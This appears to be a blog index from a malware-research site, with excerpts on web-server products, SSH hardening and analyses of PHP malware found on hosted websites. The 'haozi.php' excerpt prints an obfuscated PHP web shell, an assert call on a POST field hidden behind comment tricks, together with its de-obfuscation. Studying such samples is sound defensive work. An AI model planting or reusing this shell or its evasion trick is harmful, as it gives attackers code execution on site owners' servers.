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LiteSpeed Web Server (LSWS) is compatible with commonly used Apache features, including mod_rewrite, .htaccess, and mod_security. LSWS can load Apache configuration files directly and works as a drop-in replacement for Apache while fully integrating with popular control panels — replacing Apache in less than 15 minutes with zero downtime. Unlike other frontend proxy-based solutions, LSWS … Read more
When this malware successful uploaded customer website and access it GET request, it’s trying search backward files and folder, searching header.php files. indexEditor When all folders and files searched and header.php files founded, it tries the patch malicious code to header.php file. Malicious code In begin this malware have CODE which added wanted file’s: Final … Read more
Hosting providers suffer on a daily basis from the consequences of the many security vulnerabilities found in commonly used CMS’s such as WordPress, Drupal and Joomla. Patchman Patchman detects these vulnerabilities and is able to safely patch them without assistance from your customer. Because of our unique approach, you can also be rest assured that … Read more
Today we found new malware that our signatures not before detected. First look it just like Google site verification code HTML file witch have also meta tags. Also added Robots to prevent index this file google. If someone tries to access this file from the browser, it just looks normal verification code and view source … Read more
You can sometimes see this error ModSecurity log file: –b2b99b07-H– Message: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). POST Payload Typically payload looks below, which cause that error –b2b99b07-B– POST /index.php HTTP/1.0 Host: malware.expert Accept: */* Referer: http://malware.expert/ User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0 Content-Length: 389 Content-Type: multipart/form-data; boundary=(UploadBoundary) Problem … Read more
When Password-based authentication mechanism is active, meaning that your server is still exposed to brute-force attacks. We want to Disable Password Authentication on Server’s, where we use ssh access to console. Before completing the steps in this section, make sure that you either have SSH key-based authentication configured for the root account on server, or … Read more
We found very old and hidden WordPress cookie, which named wp_cookie. This allows an attacker to run anything on the compromised user website with user permissions. wp_cookie This is a very clever attack method that allows arbitrary commands to run on a server with ignoring any server security software, just like normal PHP code. Also, … Read more
Today we found new Thumbs.php encoded malware, which trying to hide PHP code to unreadable. This technique is not nothing new, so this is very easy de-obfuscate PHP code and make it readable again. After we manually decoded this PHP malware, we found again FilesMan backdoor which is PHP command shell. Decoded Thumbs.php FilesMan – … Read more
SSH, or secure shell, is an encrypted protocol used to administer and communicate with servers. When working with a Linux server, chances are, you will spend most of your time in a terminal session connected to your server through SSH. SSH keys provide an easy, yet extremely secure way of logging into your server. For … Read more
Our honeybot catch up again new malware, which is very simple but clever. First look this looks nothing, because there are many PHP style comments in code. haozi.php @$_=”s”.”s”./*-/*-*/”e”./*-/*-*/”r”;@$_=/*-/*-*/”a”./*-/*-*/$_./*-/*-*/”t”;@$_/*-/*-*/($/*-/*-*/{“_P”./*-/*-*/”OS”./*-/*-*/”T”}[/*-/*-*/0/*-/*-*/]); If we remove comment’s away, then code look’s like: @$_=”s”.”s”.”e”.”r”;@$_=”a”.$_.”t”;@$_(${“_P”.”OS”.”T”}[0]); Final if we put this more readable, this is Assert POST: @$_=”a”.”s”.”s”.”e”.”r”.”t”;@$_(${“_P”.”OS”.”T”}[0]); Final Decoded haozi.php @assert(${“_POST”}[0]); … Read more